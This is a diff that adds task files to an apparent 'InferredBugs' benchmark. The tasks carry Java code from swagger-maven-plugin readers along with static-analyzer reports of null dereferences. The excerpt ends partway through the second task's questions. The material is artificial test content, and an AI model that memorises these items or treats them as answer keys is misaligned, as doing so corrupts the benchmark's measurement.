+            }
+        }
+    }
+
+    private Map<String, Tag> scanClasspathForTags() {
+        Map<String, Tag> tags = new HashMap<>();
+        for (Class<?> aClass: new Reflections("").getTypesAnnotatedWith(SwaggerDefinition.class)) {
+            SwaggerDefinition swaggerDefinition = AnnotationUtils.findAnnotation(aClass, SwaggerDefinition.class);
+
+            for (io.swagger.annotations.Tag tag : swaggerDefinition.tags()) {
+
+                String tagName = tag.name();
+                if (!tagName.isEmpty()) {
+                  tags.put(tag.name(), new Tag().name(tag.name()).description(tag.description()));
+                }
+            }
+        }
+
+        return tags;
+    }
+
+    private void handleSubResource(String[] apiConsumes, String httpMethod, String[] apiProduces, Map<String, Tag> tags, Method method, ApiOperation apiOperation, String operationPath, Operation operation) {
+        if (isSubResource(httpMethod, method)) {
+            Class<?> responseClass = method.getReturnType();
+            if (apiOperation != null && !apiOperation.response().equals(Void.class) && !apiOperation.response().equals(void.class)) {
+                responseClass = apiOperation.response();
+            }
+            LOGGER.debug("handling sub-resource method " + method.toString() + " -> " + responseClass);
+            read(responseClass, operationPath, httpMethod, true, apiConsumes, apiProduces, tags, operation.getParameters());
+        }
+    }
+
+    protected boolean isSubResource(String httpMethod, Method method) {
+        Class<?> responseClass = method.getReturnType();
+        return (responseClass != null) && (httpMethod == null) && (AnnotationUtils.findAnnotation(method, Path.class) != null);
+    }
+
+    private String getPath(Path classLevelPath, Path methodLevelPath, String parentPath) {
+        if (classLevelPath == null && methodLevelPath == null) {
+            return null;
+        }
+        StringBuilder stringBuilder = new StringBuilder();
+        if (parentPath != null && !parentPath.isEmpty() && !parentPath.equals("/")) {
+            if (!parentPath.startsWith("/")) {
+                parentPath = "/" + parentPath;
+            }
+            if (parentPath.endsWith("/")) {
+                parentPath = parentPath.substring(0, parentPath.length() - 1);
+            }
+
+            stringBuilder.append(parentPath);
+        }
+        if (classLevelPath != null) {
+            stringBuilder.append(classLevelPath.value());
+        }
+        if (methodLevelPath != null && !methodLevelPath.value().equals("/")) {
+            String methodPath = methodLevelPath.value();
+            if (!methodPath.startsWith("/") && !stringBuilder.toString().endsWith("/")) {
+                stringBuilder.append("/");
+            }
+            if (methodPath.endsWith("/")) {
+                methodPath = methodPath.substring(0, methodPath.length() - 1);
+            }
+            stringBuilder.append(methodPath);
+        }
+        String output = stringBuilder.toString();
+        if (!output.startsWith("/")) {
+            output = "/" + output;
+        }
+        if (output.endsWith("/") && output.length() > 1) {
+            return output.substring(0, output.length() - 1);
+        } else {
+            return output;
+        }
+    }
+
+
+    public Operation parseMethod(String httpMethod, Method method) {
+        int responseCode = 200;
+        Operation operation = new Operation();
+        ApiOperation apiOperation = AnnotationUtils.findAnnotation(method, ApiOperation.class);
+
+        String operationId = getOperationId(method, httpMethod);
+
+        String responseContainer = null;
+
+        Type responseClassType = null;
+        Map<String, Property> defaultResponseHeaders = null;
+
+        if (apiOperation != null) {
+            if (apiOperation.hidden()) {
+                return null;
+            }
+            if (!apiOperation.nickname().isEmpty()) {
+                operationId = apiOperation.nickname();
+            }
+
+            defaultResponseHeaders = parseResponseHeaders(apiOperation.responseHeaders());
+            operation.summary(apiOperation.value()).description(apiOperation.notes());
+
+            Map<String, Object> customExtensions = BaseReaderUtils.parseExtensions(apiOperation.extensions());
+            operation.setVendorExtensions(customExtensions);
+
+            if (!apiOperation.response().equals(Void.class) && !apiOperation.response().equals(void.class)) {
+                responseClassType = apiOperation.response();
+            }
+            if (!apiOperation.responseContainer().isEmpty()) {
+                responseContainer = apiOperation.responseContainer();
+            }
+            List<SecurityRequirement> securities = new ArrayList<>();
+            for (Authorization auth : apiOperation.authorizations()) {
+                if (!auth.value().isEmpty()) {
+                    SecurityRequirement security = new SecurityRequirement();
+                    security.setName(auth.value());
+                    for (AuthorizationScope scope : auth.scopes()) {
+                        if (!scope.scope().isEmpty()) {
+                            security.addScope(scope.scope());
+                        }
+                    }
+                    securities.add(security);
+                }
+            }
+
+            for (SecurityRequirement sec : securities) {
+                operation.security(sec);
+            }
+        }
+        operation.operationId(operationId);
+
+        if (responseClassType == null) {
+            // pick out response from method declaration
+            LOGGER.debug("picking up response class from method " + method);
+            responseClassType = method.getGenericReturnType();
+        }
+        boolean hasApiAnnotation = false;
+        if (responseClassType instanceof Class) {
+            hasApiAnnotation = AnnotationUtils.findAnnotation((Class) responseClassType, Api.class) != null;
+        }
+        if ((responseClassType != null)
+                && !responseClassType.equals(Void.class)
+                && !responseClassType.equals(void.class)
+                && !responseClassType.equals(javax.ws.rs.core.Response.class)
+                && !hasApiAnnotation
+                && !isSubResource(httpMethod, method)) {
+            if (isPrimitive(responseClassType)) {
+                Property property = ModelConverters.getInstance().readAsProperty(responseClassType);
+                if (property != null) {
+                    Property responseProperty = RESPONSE_CONTAINER_CONVERTER.withResponseContainer(responseContainer, property);
+
+                    operation.response(responseCode, new Response()
+                            .description("successful operation")
+                            .schema(responseProperty)
+                            .headers(defaultResponseHeaders));
+                }
+            } else if (!responseClassType.equals(Void.class) && !responseClassType.equals(void.class)) {
+                Map<String, Model> models = readModels(responseClassType);
+                if (models.isEmpty()) {
+                    Property p = ModelConverters.getInstance().readAsProperty(responseClassType);
+                    operation.response(responseCode, new Response()
+                            .description("successful operation")
+                            .schema(p)
+                            .headers(defaultResponseHeaders));
+                }
+                for (String key : models.keySet()) {
+                    Property responseProperty = RESPONSE_CONTAINER_CONVERTER.withResponseContainer(responseContainer, new RefProperty().asDefault(key));
+
+
+                    operation.response(responseCode, new Response()
+                            .description("successful operation")
+                            .schema(responseProperty)
+                            .headers(defaultResponseHeaders));
+                    swagger.model(key, models.get(key));
+                }
+            }
+            Map<String, Model> models = readAllModels(responseClassType);
+            for (Map.Entry<String, Model> entry : models.entrySet()) {
+                swagger.model(entry.getKey(), entry.getValue());
+            }
+        }
+
+        Consumes consumes = AnnotationUtils.findAnnotation(method, Consumes.class);
+        if (consumes != null) {
+            for (String mediaType : consumes.value()) {
+                operation.consumes(mediaType);
+            }
+        }
+
+        Produces produces = AnnotationUtils.findAnnotation(method, Produces.class);
+        if (produces != null) {
+            for (String mediaType : produces.value()) {
+                operation.produces(mediaType);
+            }
+        }
+
+        ApiResponses responseAnnotation = AnnotationUtils.findAnnotation(method, ApiResponses.class);
+        if (responseAnnotation != null) {
+            updateApiResponse(operation, responseAnnotation);
+        }
+
+        if (AnnotationUtils.findAnnotation(method, Deprecated.class) != null) {
+            operation.deprecated(true);
+        }
+
+        // process parameters
+        Class<?>[] parameterTypes = method.getParameterTypes();
+        Type[] genericParameterTypes = method.getGenericParameterTypes();
+        Annotation[][] paramAnnotations = findParamAnnotations(method);
+
+        for (int i = 0; i < parameterTypes.length; i++) {
+            Type type = genericParameterTypes[i];
+            List<Annotation> annotations = Arrays.asList(paramAnnotations[i]);
+            List<Parameter> parameters = getParameters(type, annotations);
+
+            for (Parameter parameter : parameters) {
+                if (hasCommonParameter(parameter)) {
+                    Parameter refParameter = new RefParameter(RefType.PARAMETER.getInternalPrefix() + parameter.getName());
+                    operation.parameter(refParameter);
+                } else {
+                    parameter = replaceArrayModelForOctetStream(operation, parameter);
+                    operation.parameter(parameter);
+                }
+            }
+        }
+        if (operation.getResponses() == null) {
+            operation.defaultResponse(new Response().description("successful operation"));
+        }
+
+        // Process @ApiImplicitParams
+        this.readImplicitParameters(method, operation);
+
+        processOperationDecorator(operation, method);
+
+        return operation;
+    }
+
+    public static Annotation[][] findParamAnnotations(Method method) {
+        Annotation[][] paramAnnotation = method.getParameterAnnotations();
+
+        Method overriddenMethod = ReflectionUtils.getOverriddenMethod(method);
+        while(overriddenMethod != null) {
+            paramAnnotation = merge(overriddenMethod.getParameterAnnotations(), paramAnnotation);
+            overriddenMethod = ReflectionUtils.getOverriddenMethod(overriddenMethod);
+        }
+        return paramAnnotation;
+    }
+
+
+    private static Annotation[][] merge(Annotation[][] overriddenMethodParamAnnotation,
+            Annotation[][] currentParamAnnotations) {
+        Annotation[][] mergedAnnotations = new Annotation[overriddenMethodParamAnnotation.length][];
+
+        for(int i=0; i<overriddenMethodParamAnnotation.length; i++) {
+            mergedAnnotations[i] = merge(overriddenMethodParamAnnotation[i], currentParamAnnotations[i]);
+        }
+        return mergedAnnotations;
+    }
+
+    private static Annotation[] merge(Annotation[] annotations,
+            Annotation[] annotations2) {
+        List<Annotation> mergedAnnotations = new ArrayList<>();
+        mergedAnnotations.addAll(Arrays.asList(annotations));
+        mergedAnnotations.addAll(Arrays.asList(annotations2));
+        return mergedAnnotations.toArray(new Annotation[0]);
+    }
+
+    private Parameter replaceArrayModelForOctetStream(Operation operation, Parameter parameter) {
+        if (parameter instanceof BodyParameter
+                && operation.getConsumes() != null
+                && operation.getConsumes().contains("application/octet-stream")) {
+            BodyParameter bodyParam = (BodyParameter) parameter;
+            Model schema = bodyParam.getSchema();
+            if (schema instanceof ArrayModel) {
+                ArrayModel arrayModel = (ArrayModel) schema;
+                Property items = arrayModel.getItems();
+                if (items != null && items.getFormat() == "byte" && items.getType() == "string") {
+                    ModelImpl model = new ModelImpl();
+                    model.setFormat("byte");
+                    model.setType("string");
+                    bodyParam.setSchema(model);
+                }
+            }
+        }
+        return parameter;
+    }
+
+    public String extractOperationMethod(ApiOperation apiOperation, Method method, Iterator<SwaggerExtension> chain) {
+        if (apiOperation != null && !apiOperation.httpMethod().isEmpty()) {
+            return apiOperation.httpMethod().toLowerCase();
+        } else if (AnnotationUtils.findAnnotation(method, GET.class) != null) {
+            return "get";
+        } else if (AnnotationUtils.findAnnotation(method, PUT.class) != null) {
+            return "put";
+        } else if (AnnotationUtils.findAnnotation(method, POST.class) != null) {
+            return "post";
+        } else if (AnnotationUtils.findAnnotation(method, DELETE.class) != null) {
+            return "delete";
+        } else if (AnnotationUtils.findAnnotation(method, OPTIONS.class) != null) {
+            return "options";
+        } else if (AnnotationUtils.findAnnotation(method, HEAD.class) != null) {
+            return "head";
+        } else if (AnnotationUtils.findAnnotation(method, io.swagger.jaxrs.PATCH.class) != null) {
+            return "patch";
+        } else {
+            // check for custom HTTP Method annotations
+            for (Annotation declaredAnnotation : method.getDeclaredAnnotations()) {
+                Annotation[] innerAnnotations = declaredAnnotation.annotationType().getAnnotations();
+                for (Annotation innerAnnotation : innerAnnotations) {
+                    if (innerAnnotation instanceof HttpMethod) {
+                        HttpMethod httpMethod = (HttpMethod) innerAnnotation;
+                        return httpMethod.value().toLowerCase();
+                    }
+                }
+            }
+
+            if (chain.hasNext()) {
+                return chain.next().extractOperationMethod(apiOperation, method, chain);
+            }
+        }
+
+        return null;
+    }
+
+    private Map<String, Model> readAllModels(Type responseClassType) {
+        Map<String, Model> modelMap = ModelConverters.getInstance().readAll(responseClassType);
+        if (modelMap != null) {
+            handleJsonTypeInfo(responseClassType, modelMap);
+        }
+
+        return modelMap;
+    }
+
+    private Map<String, Model> readModels(Type responseClassType) {
+        Map<String, Model> modelMap = ModelConverters.getInstance().read(responseClassType);
+        if (modelMap != null) {
+            handleJsonTypeInfo(responseClassType, modelMap);
+        }
+
+        return modelMap;
+    }
+
+    private void handleJsonTypeInfo(Type responseClassType, Map<String, Model> modelMap) {
+        if (responseClassType instanceof Class){
+            JsonTypeInfo typeInfo = ((Class<?>)responseClassType).getAnnotation(JsonTypeInfo.class);
+            if (typeInfo != null && !StringUtils.isEmpty(typeInfo.property())) {
+                for (Model model : modelMap.values()) {
+                    Map<String, Property> properties = model.getProperties();
+                    if (properties != null) {
+                        properties.put(typeInfo.property(), new StringProperty());
+                    }
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `models` last assigned on line 410 could be null and is dereferenced at line 411.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Operation JaxrsReader.parseMethod(String,Method)
+
+### Procedure Id:
+com.github.kongchen.swagger.docgen.reader.JaxrsReader.parseMethod(java.lang.String,java.lang.reflect.7deb083cb986babda7362306c2d10d24
+
+### File:
+src/main/java/com/github/kongchen/swagger/docgen/reader/JaxrsReader.java
+
+### Key:
+JaxrsReader.java|parseMethod|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+f2c0535824554797a3348c80d81b06ac
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8999/instruction.md b/inferredbugs-8999/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..86514913a7ae9e99107fe9af176d7fb6d0b84c72
--- /dev/null
+++ b/inferredbugs-8999/instruction.md
@@ -0,0 +1,540 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** swagger-maven-plugin
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.kongchen.swagger.docgen.reader;
+
+import com.github.kongchen.swagger.docgen.GenerateException;
+import com.github.kongchen.swagger.docgen.LogAdapter;
+import com.github.kongchen.swagger.docgen.spring.SpringResource;
+import com.github.kongchen.swagger.docgen.util.Annotations;
+import io.swagger.annotations.*;
+import io.swagger.converter.ModelConverters;
+import io.swagger.models.*;
+import io.swagger.models.Tag;
+import io.swagger.models.parameters.Parameter;
+import io.swagger.models.properties.ArrayProperty;
+import io.swagger.models.properties.MapProperty;
+import io.swagger.models.properties.Property;
+import io.swagger.models.properties.RefProperty;
+import org.codehaus.plexus.util.StringUtils;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseStatus;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.*;
+
+public class SpringMvcApiReader extends AbstractReader implements ClassSwaggerReader {
+    private String resourcePath;
+
+    public SpringMvcApiReader(Swagger swagger, LogAdapter log) {
+        super(swagger, log);
+
+    }
+
+    @Override
+    public Swagger read(Set<Class<?>> classes) throws GenerateException {
+        //relate all methods to one base request mapping if multiple controllers exist for that mapping
+        //get all methods from each controller & find their request mapping
+        //create map - resource string (after first slash) as key, new SpringResource as value
+        Map<String, SpringResource> resourceMap = generateResourceMap(classes);
+        for (String str : resourceMap.keySet()) {
+            SpringResource resource = resourceMap.get(str);
+            read(resource);
+        }
+
+        return swagger;
+    }
+
+    public Swagger read(SpringResource resource) {
+        if (swagger == null) {
+            swagger = new Swagger();
+        }
+        List<Method> methods = resource.getMethods();
+        Map<String, Tag> tags = new HashMap<String, Tag>();
+
+        List<SecurityRequirement> resourceSecurities = new ArrayList<SecurityRequirement>();
+
+        // Add the description from the controller api
+        Class<?> controller = resource.getControllerClass();
+        RequestMapping controllerRM = Annotations.get(controller, RequestMapping.class);
+
+
+        String[] controllerProduces = new String[0];
+        String[] controllerConsumes = new String[0];
+        if (controllerRM != null) {
+            controllerConsumes = controllerRM.consumes();
+            controllerProduces = controllerRM.produces();
+        }
+
+        if (controller != null && controller.isAnnotationPresent(Api.class)) {
+            Api api = Annotations.get(controller, Api.class);
+            if (!canReadApi(false, api)) {
+                return swagger;
+            }
+            tags = updateTagsForApi(null, api);
+            resourceSecurities = getSecurityRequirements(api);
+        }
+
+        resourcePath = resource.getControllerMapping();
+
+        //collect api from method with @RequestMapping
+        Map<String, List<Method>> apiMethodMap = collectApisByRequestMapping(methods);
+
+        for (String path : apiMethodMap.keySet()) {
+            for (Method method : apiMethodMap.get(path)) {
+
+                RequestMapping requestMapping = Annotations.get(method, RequestMapping.class);
+                if (requestMapping == null) {
+                    continue;
+                }
+                ApiOperation apiOperation = Annotations.get(method, ApiOperation.class);
+                if (apiOperation == null || apiOperation.hidden()) {
+                    continue;
+                }
+                String httpMethod = null;
+
+
+                Map<String, String> regexMap = new HashMap<String, String>();
+                String operationPath = parseOperationPath(path, regexMap);
+
+                //http method
+                for (RequestMethod requestMethod : requestMapping.method()) {
+                    httpMethod = requestMethod.toString().toLowerCase();
+                    Operation operation = parseMethod(method);
+
+                    updateOperationParameters(new ArrayList<Parameter>(), regexMap, operation);
+
+                    updateOperationProtocols(apiOperation, operation);
+
+                    String[] apiProduces = requestMapping.produces();
+                    String[] apiConsumes = requestMapping.consumes();
+
+                    apiProduces = (apiProduces == null || apiProduces.length == 0) ? controllerProduces : apiProduces;
+                    apiConsumes = (apiConsumes == null || apiProduces.length == 0) ? controllerConsumes : apiConsumes;
+
+                    apiConsumes = updateOperationConsumes(new String[0], apiConsumes, operation);
+                    apiProduces = updateOperationProduces(new String[0], apiProduces, operation);
+
+                    updateTagsForOperation(operation, apiOperation);
+                    updateOperation(apiConsumes, apiProduces, tags, resourceSecurities, operation);
+                    updatePath(operationPath, httpMethod, operation);
+                }
+            }
+
+        }
+        return swagger;
+    }
+
+    private Operation parseMethod(Method method) {
+        Operation operation = new Operation();
+
+        RequestMapping requestMapping = Annotations.get(method, RequestMapping.class);
+        Class<?> responseClass = null;
+        List<String> produces = new ArrayList<String>();
+        List<String> consumes = new ArrayList<String>();
+        String responseContainer = null;
+        String operationId = method.getName();
+        Map<String, Property> defaultResponseHeaders = null;
+        Set<Map<String, Object>> customExtensions = null;
+
+        ApiOperation apiOperation = Annotations.get(method, ApiOperation.class);
+
+        if (apiOperation.hidden())
+            return null;
+        if (!"".equals(apiOperation.nickname()))
+            operationId = apiOperation.nickname();
+
+        defaultResponseHeaders = parseResponseHeaders(apiOperation.responseHeaders());
+
+        operation.summary(apiOperation.value()).description(apiOperation.notes());
+
+        customExtensions = parseCustomExtensions(apiOperation.extensions());
+        if (customExtensions != null) {
+            for (Map<String, Object> extension : customExtensions) {
+                if (extension != null) {
+                    for (Map.Entry<String, Object> map : extension.entrySet()) {
+                        operation.setVendorExtension(map.getKey().startsWith("x-") ? map.getKey() : "x-" + map.getKey(), map.getValue());
+                    }
+                }
+            }
+        }
+
+        if (apiOperation.response() != null && !Void.class.equals(apiOperation.response()))
+            responseClass = apiOperation.response();
+        if (!"".equals(apiOperation.responseContainer()))
+            responseContainer = apiOperation.responseContainer();
+
+        ///security
+        if (apiOperation.authorizations() != null) {
+            List<SecurityRequirement> securities = new ArrayList<SecurityRequirement>();
+            for (Authorization auth : apiOperation.authorizations()) {
+                if (auth.value() != null && !"".equals(auth.value())) {
+                    SecurityRequirement security = new SecurityRequirement();
+                    security.setName(auth.value());
+                    AuthorizationScope[] scopes = auth.scopes();
+                    for (AuthorizationScope scope : scopes) {
+                        if (scope.scope() != null && !"".equals(scope.scope())) {
+                            security.addScope(scope.scope());
+                        }
+                    }
+                    securities.add(security);
+                }
+            }
+            if (securities.size() > 0) {
+                for (SecurityRequirement sec : securities)
+                    operation.security(sec);
+            }
+        }
+
+        if (responseClass == null) {
+            // pick out response from method declaration
+            LOG.info("picking up response class from method " + method);
+            Type t = method.getGenericReturnType();
+            responseClass = method.getReturnType();
+            if (responseClass.equals(ResponseEntity.class)) {
+                responseClass = getGenericSubtype(method.getReturnType(), method.getGenericReturnType());
+            }
+            if (!responseClass.equals(Void.class) && !"void".equals(responseClass.toString()) && Annotations.get(responseClass, Api.class) == null) {
+                LOG.info("reading model " + responseClass);
+                Map<String, Model> models = ModelConverters.getInstance().readAll(t);
+            }
+        }
+        if (responseClass != null
+                && !responseClass.equals(Void.class)
+                && !responseClass.equals(ResponseEntity.class)
+                && Annotations.get(responseClass, Api.class) == null) {
+            if (isPrimitive(responseClass)) {
+                Property responseProperty = null;
+                Property property = ModelConverters.getInstance().readAsProperty(responseClass);
+                if (property != null) {
+                    if ("list".equalsIgnoreCase(responseContainer))
+                        responseProperty = new ArrayProperty(property);
+                    else if ("map".equalsIgnoreCase(responseContainer))
+                        responseProperty = new MapProperty(property);
+                    else
+                        responseProperty = property;
+                    operation.response(apiOperation.code(), new Response()
+                            .description("successful operation")
+                            .schema(responseProperty)
+                            .headers(defaultResponseHeaders));
+                }
+            } else if (!responseClass.equals(Void.class) && !"void".equals(responseClass.toString())) {
+                Map<String, Model> models = ModelConverters.getInstance().read(responseClass);
+                if (models.size() == 0) {
+                    Property pp = ModelConverters.getInstance().readAsProperty(responseClass);
+                    operation.response(apiOperation.code(), new Response()
+                            .description("successful operation")
+                            .schema(pp)
+                            .headers(defaultResponseHeaders));
+                }
+                for (String key : models.keySet()) {
+                    Property responseProperty = null;
+
+                    if ("list".equalsIgnoreCase(responseContainer))
+                        responseProperty = new ArrayProperty(new RefProperty().asDefault(key));
+                    else if ("map".equalsIgnoreCase(responseContainer))
+                        responseProperty = new MapProperty(new RefProperty().asDefault(key));
+                    else
+                        responseProperty = new RefProperty().asDefault(key);
+                    operation.response(apiOperation.code(), new Response()
+                            .description("successful operation")
+                            .schema(responseProperty)
+                            .headers(defaultResponseHeaders));
+                    swagger.model(key, models.get(key));
+                }
+                models = ModelConverters.getInstance().readAll(responseClass);
+                for (String key : models.keySet()) {
+                    swagger.model(key, models.get(key));
+                }
+            }
+        }
+
+        operation.operationId(operationId);
+
+        if (requestMapping.produces() != null) {
+            for (String str : Arrays.asList(requestMapping.produces())) {
+                if (!produces.contains(str)) {
+                    produces.add(str);
+                }
+            }
+        }
+        if (requestMapping.consumes() != null) {
+            for (String str : Arrays.asList(requestMapping.consumes())) {
+                if (!consumes.contains(str)) {
+                    consumes.add(str);
+                }
+            }
+        }
+
+        ApiResponses responseAnnotation = Annotations.get(method, ApiResponses.class);
+        if (responseAnnotation != null) {
+            updateApiResponse(operation, responseAnnotation);
+        } else {
+            ResponseStatus responseStatus = Annotations.get(method, ResponseStatus.class);
+            if (responseStatus != null) {
+                operation.response(responseStatus.value().value(), new Response().description(responseStatus.reason()));
+            }
+        }
+
+        Deprecated annotation = Annotations.get(method, Deprecated.class);
+        if (annotation != null)
+            operation.deprecated(true);
+
+        // FIXME `hidden` is never used
+        boolean hidden = false;
+        if (apiOperation != null)
+            hidden = apiOperation.hidden();
+
+        // process parameters
+        Class[] parameterTypes = method.getParameterTypes();
+        Type[] genericParameterTypes = method.getGenericParameterTypes();
+        Annotation[][] paramAnnotations = method.getParameterAnnotations();
+        // paramTypes = method.getParameterTypes
+        // genericParamTypes = method.getGenericParameterTypes
+        for (int i = 0; i < parameterTypes.length; i++) {
+            Type type = genericParameterTypes[i];
+            List<Annotation> annotations = Arrays.asList(paramAnnotations[i]);
+            List<Parameter> parameters = getParameters(type, annotations);
+
+            for (Parameter parameter : parameters) {
+                operation.parameter(parameter);
+            }
+        }
+
+        if (operation.getResponses() == null) {
+            operation.defaultResponse(new Response().description("successful operation"));
+        }
+
+        // Process @ApiImplicitParams
+        this.readImplicitParameters(method, operation);
+
+        return operation;
+
+    }
+
+    private Map<String, List<Method>> collectApisByRequestMapping(List<Method> methods) {
+        Map<String, List<Method>> apiMethodMap = new HashMap<String, List<Method>>();
+        for (Method method : methods) {
+            if (method.isAnnotationPresent(RequestMapping.class)) {
+                RequestMapping requestMapping = Annotations.get(method, RequestMapping.class);
+                String path = "";
+                if (requestMapping.value() != null && requestMapping.value().length != 0) {
+                    path = generateFullPath(requestMapping.value()[0]);
+                } else {
+                    path = resourcePath;
+                }
+                if (apiMethodMap.containsKey(path)) {
+                    apiMethodMap.get(path).add(method);
+                } else {
+                    List<Method> ms = new ArrayList<Method>();
+                    ms.add(method);
+                    apiMethodMap.put(path, ms);
+                }
+            }
+        }
+
+        return apiMethodMap;
+    }
+
+    private String generateFullPath(String path) {
+        if (StringUtils.isNotEmpty(path)) {
+            return this.resourcePath + (path.startsWith("/") ? path : '/' + path);
+        } else {
+            return this.resourcePath;
+        }
+    }
+
+    private Class<?> getGenericSubtype(Class<?> clazz, Type t) {
+        if (!(clazz.getName().equals("void") || t.toString().equals("void"))) {
+            try {
+                ParameterizedType paramType = (ParameterizedType) t;
+                Type[] argTypes = paramType.getActualTypeArguments();
+                if (argTypes.length > 0) {
+                    Class<?> c = (Class<?>) argTypes[0];
+                    return c;
+                }
+            } catch (ClassCastException e) {
+                //FIXME: find out why this happens to only certain types
+            }
+        }
+        return clazz;
+    }
+
+    //Helper method for loadDocuments()
+    private Map<String, SpringResource> analyzeController(Class<?> clazz, Map<String, SpringResource> resourceMap, String description) throws ClassNotFoundException {
+        String controllerCanonicalName = clazz.getCanonicalName();
+        String[] controllerRequestMappingValues = null;
+
+        //Determine if we will use class-level requestmapping or dummy string
+        if (Annotations.get(clazz, RequestMapping.class) != null && Annotations.get(clazz, RequestMapping.class).value() != null) {
+            controllerRequestMappingValues = Annotations.get(clazz, RequestMapping.class).value();
+        } else {
+            controllerRequestMappingValues = new String[1];
+            controllerRequestMappingValues[0] = "";
+        }
+
+        // Iterate over all value attributes of the class-level RequestMapping annotation
+        for (int i = 0; i < controllerRequestMappingValues.length; i++) {
+
+            // Iterate over all methods inside the controller
+            Method[] methods = clazz.getMethods();
+            for (Method method : methods) {
+                RequestMapping methodRequestMapping = Annotations.get(method, RequestMapping.class);
+
+                // Look for method-level @RequestMapping annotation
+                if (methodRequestMapping instanceof RequestMapping) {
+                    RequestMethod[] requestMappingRequestMethods = methodRequestMapping.method();
+
+                    // For each method-level @RequestMapping annotation, iterate over HTTP Verb
+                    for (RequestMethod requestMappingRequestMethod : requestMappingRequestMethods) {
+                        String[] methodRequestMappingValues = methodRequestMapping.value();
+
+                        // Check for cases where method-level @RequestMapping#value is not set, and use the controllers @RequestMapping
+                        if (methodRequestMappingValues == null || methodRequestMappingValues.length == 0) {
+                            // The map key is a concat of the following:
+                            //   1. The controller package
+                            //   2. The controller class name
+                            //   3. The controller-level @RequestMapping#value
+                            String resourceKey = controllerCanonicalName + controllerRequestMappingValues[i] + requestMappingRequestMethod;
+                            if ((!(resourceMap.containsKey(resourceKey)))) {
+                                resourceMap.put(
+                                        resourceKey,
+                                        new SpringResource(clazz, controllerRequestMappingValues[i], resourceKey, description));
+                            }
+                            resourceMap.get(resourceKey).addMethod(method);
+                        } else {
+                            // Here we know that method-level @RequestMapping#value is populated, so
+                            // iterate over all the @RequestMapping#value attributes, and add them to the resource map.
+                            for (String methodRequestMappingValue : methodRequestMappingValues) {
+                                String resourceName = methodRequestMappingValue;
+                                // The map key is a concat of the following:
+                                //   1. The controller package
+                                //   2. The controller class name
+                                //   3. The controller-level @RequestMapping#value
+                                //   4. The method-level @RequestMapping#value
+                                //   5. The method-level @RequestMapping#method
+                                String resourceKey = controllerCanonicalName + controllerRequestMappingValues[i] + resourceName + requestMappingRequestMethod;
+                                if (!(resourceName.equals(""))) {
+                                    if ((!(resourceMap.containsKey(resourceKey)))) {
+                                        resourceMap.put(resourceKey, new SpringResource(clazz, resourceName, resourceKey, description));
+                                    }
+                                    resourceMap.get(resourceKey).addMethod(method);
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        clazz.getFields();
+        clazz.getDeclaredFields(); //<--In case developer declares a field without an associated getter/setter.
+        //this will allow NoClassDefFoundError to be caught before it triggers bamboo failure.
+
+        return resourceMap;
+    }
+
+    protected Map<String, SpringResource> generateResourceMap(Set<Class<?>> validClasses) throws GenerateException {
+        Map<String, SpringResource> resourceMap = new HashMap<String, SpringResource>();
+        for (Class<?> c : validClasses) {
+            RequestMapping requestMapping = Annotations.get(c, RequestMapping.class);
+            String description = "";
+            //This try/catch block is to stop a bamboo build from failing due to NoClassDefFoundError
+            //This occurs when a class or method loaded by reflections contains a type that has no dependency
+            try {
+                resourceMap = analyzeController(c, resourceMap, description);
+                List<Method> mList = new ArrayList<Method>(Arrays.asList(c.getMethods()));
+                if (c.getSuperclass() != null) {
+                    mList.addAll(Arrays.asList(c.getSuperclass().getMethods()));
+                }
+
+            } catch (NoClassDefFoundError e) {
+                LOG.error(e.getMessage());
+                LOG.info(c.getName());
+                //exception occurs when a method type or annotation is not recognized by the plugin
+            } catch (ClassNotFoundException e) {
+                LOG.error(e.getMessage());
+                LOG.info(c.getName());
+            }
+
+        }
+
+        return resourceMap;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `requestMapping` last assigned on line 321 could be null and is dereferenced at line 323.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Map SpringMvcApiReader.collectApisByRequestMapping(List)
+
+### Procedure Id:
+com.github.kongchen.swagger.docgen.reader.SpringMvcApiReader.collectApisByRequestMapping(java.util.L.9e27328daeff4f729bc657590c6cc532
+
+### File:
+src/main/java/com/github/kongchen/swagger/docgen/reader/SpringMvcApiReader.java
+
+### Key:
+SpringMvcApiReader.java|collectApisByRequestMapping|NULL_DEREFERENCE
+
+### Node Key:
+c281f77c6dae544ee5fb7d5e2bb35118
+
+### Hash:
+515fb41fb51d94d6b441b5b3d0146c15
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
